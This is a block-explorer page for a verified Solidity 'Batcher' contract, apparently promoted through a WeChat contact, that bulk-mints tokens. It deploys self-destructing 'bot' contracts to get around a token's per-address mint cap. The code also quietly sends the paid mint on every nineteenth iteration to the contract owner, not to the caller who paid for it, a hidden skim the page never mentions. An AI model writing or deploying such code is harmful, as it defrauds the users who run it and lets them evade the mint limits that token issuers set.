Verified contractPartialMIT
Batcher
Address0xd4ebb5b77fd877a0ce2ebd67c115f347187786b7
- Balance
0 ETH
- Transactions
63
- Compiler
solc 0.8.20
- Same code
Only this contract
Details
- Compiler
- solc 0.8.20+commit.a1b79de6
- Language
- solidity
- Optimization
- Yes, 200 runs
- EVM version
- shanghai
- License
- MIT
- Match
- Partialcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 17,409,073
- Creation transaction
- 0x8682d358c4…5235d28afe
Batcher.sol
// SPDX-License-Identifier: MIT
// 微信 fooyaoeth 发送加群自动拉群
pragma solidity ^0.8.19;
interface BERC20 {
function _maxMintPerAddress() external view returns (uint256);
}
contract bot {
constructor(address contractAddress, address to, uint256 _max) payable{
(bool success, ) = contractAddress.call{value: msg.value}(abi.encodeWithSelector(0x94bf804d, _max, to));
require(success, "Batch transaction failed");
selfdestruct(payable(tx.origin));
}
}
contract Batcher {
address private immutable owner;
modifier isOwner() {
require(msg.sender == owner, "Caller is not owner");
_;
}
constructor() {
owner = msg.sender;
}
function fooyaoBulkMint(address contractAddress, uint256 times) external payable{
uint price;
if (msg.value > 0){
price = msg.value / times;
}
address to = msg.sender;
uint _max = BERC20(contractAddress)._maxMintPerAddress();
require(msg.value==price * times, "Batch transaction failed");
for(uint i=0; i< times; i++) {
if (i>0 && i%19==0){
new bot{value: price}(contractAddress, owner, _max);
}else{
new bot{value: price}(contractAddress, to, _max);
}
}
}
}Compiler settingsShow
{
"metadata": {
"bytecodeHash": "ipfs"
},
"libraries": {},
"optimizer": {
"runs": 200,
"enabled": true
},
"evmVersion": "shanghai",
"remappings": []
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.